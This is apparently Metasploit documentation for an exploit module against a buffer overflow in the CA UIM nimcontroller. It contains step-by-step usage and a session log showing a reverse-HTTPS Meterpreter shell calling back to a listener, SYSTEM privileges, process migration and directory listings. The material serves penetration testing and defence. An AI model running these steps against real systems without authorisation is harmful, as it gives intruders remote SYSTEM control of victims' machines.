## Vulnerable Application

All CA Infrastructure Management monitoring agents prior to 9.20 are vulnerable to a buffer overflow vulnerability
within the nimcontroller when using the directory_list probe. Since the directory_list probe requires read privileges
the target host must also be vulnerable to CVE-2020-8010 to bypass ACL settings. Successful code execution will result
in a NT AUTHORITY\SYSTEM shell, even if exploitation fails the remote service will not crash. You should be able to
exploit the service an unlimited amount of times.

## Verification Steps

1. Install the CA UIM v7.80.3132 (nimsoftrobotXXX.exe)
2. Start `msfconsole`
3. Do `use exploit/windows/nimsoft/nimcontroller_bof`
4. Do `set RHOSTS <ip>`
5. Do `exploit`
6. Verify shell is opened and service is still accessible

### Links

[CA UIM](https://techdocs.broadcom.com/content/broadcom/techdocs/us/en/ca-enterprise-software/it-operations-management/unified-infrastructure-management/9-0-2/getting-started/ca-uim-overview.html)
[Nimsoft Probe Utility](https://techdocs.broadcom.com/content/broadcom/techdocs/us/en/ca-enterprise-software/it-operations-management/unified-infrastructure-management/9-0-2/administering/run-probe-commands-from-a-command-prompt.html)

## Options

## Scenarios

### Windows 10 x64

```
msf exploit(windows/nimsoft/nimcontroller_bof) > options

Module options (exploit/windows/nimsoft/nimcontroller_bof):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DIRECTORY  C:\              no        Directory path to obtain a listing
   RHOSTS     W.X.Y.Z          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      48000            yes       The target port (TCP)


Payload options (windows/x64/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     A.B.C.D          yes       The local listener hostname
   LPORT     8443             yes       The local listener port
   LURI                       no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Windows Universal (x64) - v7.80.3132


msf exploit(windows/nimsoft/nimcontroller_bof) > exploit

[*] Started HTTPS reverse handler on https://A.B.C.D:8443
[*] W.X.Y.Z:48000 - Executing automatic check (disable AutoCheck to override)
[*] https://A.B.C.D:8443 handling request from W.X.Y.Z; (UUID: rpsri4cm) Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (A.B.C.D:8443 -> W.X.Y.Z:50980) at 2020-07-21 11:14:09 -0500
[*] W.X.Y.Z:48000 - Version 7.80 [Build 7.80.3132, Jun  1 2015] detected, sending directory_list probe

 Directory of C:\

 12/15/2019 06:24 PM  <DIR> $GetCurrent
 12/14/2019 01:41 AM  <DIR> $Recycle.Bin
 10/18/2019 05:55 PM  <DIR> Documents and Settings
 07/21/2020 10:15 AM  <DIR> pagefile.sys
 07/14/2020 03:41 PM  <DIR> PerfLogs
 06/10/2020 09:18 AM  <DIR> Program Files
 07/19/2020 01:37 PM  <DIR> Program Files (x86)
 07/14/2020 03:41 PM  <DIR> ProgramData
 12/15/2019 07:08 PM  <DIR> Recovery
 07/21/2020 10:15 AM  <DIR> swapfile.sys
 10/18/2019 04:04 PM  <DIR> System Volume Information
 12/15/2019 07:09 PM  <DIR> Users
 07/18/2020 02:20 PM  <DIR> Windows

[+] W.X.Y.Z:48000 - The target is vulnerable.

meterpreter >
[*] Session ID 1 (A.B.C.D:8443 -> W.X.Y.Z:50980) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against DESKTOP-JICNNRT
[*] Current server process: notepad.exe (1860)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 7472
[+] Successfully migrated into process 7472

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 1...
msf exploit(windows/nimsoft/nimcontroller_bof) > set DIRECTORY C:\\Users\\
DIRECTORY => C:\Users\
msf exploit(windows/nimsoft/nimcontroller_bof) > check

[*] W.X.Y.Z:48000 - Version 7.80 [Build 7.80.3132, Jun  1 2015] detected, sending directory_list probe

 Directory of C:\Users\

 03/19/2019 12:02 AM  <DIR> All Users
 12/15/2019 07:14 PM  <DIR> Default
 03/19/2019 12:02 AM  <DIR> Default User
 03/18/2019 11:49 PM  <DIR> desktop.ini
 07/19/2020 01:37 PM  <DIR> REDACTED
 12/15/2019 09:07 PM  <DIR> Public

[+] W.X.Y.Z:48000 - The target is vulnerable.
```
